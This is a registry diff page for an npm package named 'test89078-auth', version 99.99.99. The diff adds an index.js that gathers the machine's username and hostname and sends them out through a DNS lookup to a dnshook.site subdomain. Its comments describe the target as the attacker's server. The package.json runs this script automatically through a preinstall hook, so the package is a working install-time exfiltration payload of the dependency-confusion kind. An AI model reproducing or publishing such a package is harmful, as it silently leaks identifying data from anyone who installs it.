test89078-auth 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +12 -0
  2. package/package.json +7 -0
package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+
4
+ // 1. Machine-oda details-ah collect panrathu
5
+ const hostname = os.hostname();
6
+ const username = os.userInfo().username;
7
+ const leakData = `${username}.${hostname}`;
8
+
9
+ // 2. DNS query moolama data-wa attacker-oda server-ku anuppurathu
10
+ dns.lookup(`${leakData}.31ee29fe-db68-4fd3-86a2-2b707b9e95f0.dnshook.site`, (err, address) => {
11
+ // Silent code execution
12
+ });
package/package.json ADDED
@@ -0,0 +1,7 @@
1
+ {
2
+ "name": "test89078-auth",
3
+ "version": "99.99.99",
4
+ "scripts": {
5
+ "preinstall": "node index.js"
6
+ }
7
+ }